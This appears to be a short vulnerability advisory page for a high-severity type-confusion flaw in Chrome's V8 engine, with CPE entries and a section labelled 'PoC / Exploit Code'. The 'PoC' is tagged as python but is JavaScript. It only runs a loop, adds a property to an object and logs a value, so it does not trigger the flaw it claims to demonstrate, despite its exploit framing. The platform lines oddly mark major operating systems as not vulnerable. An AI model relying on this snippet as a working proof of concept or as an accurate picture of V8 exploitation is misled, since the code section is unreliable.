Type Confusion in V8 in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.55
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual PoC for V8 Type Confusion
// Triggering type confusion in V8 requires specific JIT optimization patterns
function main() {
// Step 1: Prepare an object with a specific map
let leak_obj = {a: 1, b: 2};
// Step 2: Trigger TurboFan optimization by running the function hot
// The compiler assumes 'leak_obj' always has the same structure
for (let i = 0; i < 10000; i++) {
if (leak_obj.a === 1) {}
}
// Step 3: Modify the object structure (Map Transition)
// This changes the object's type without the optimized code knowing
leak_obj.c = 3.14159;
// Step 4: Access the object with the now-incorrect type assumption
// This can lead to treating a double value as a pointer (Type Confusion)
// In a real exploit, this would lead to memory corruption / RCE
console.log(leak_obj.a);
}
main();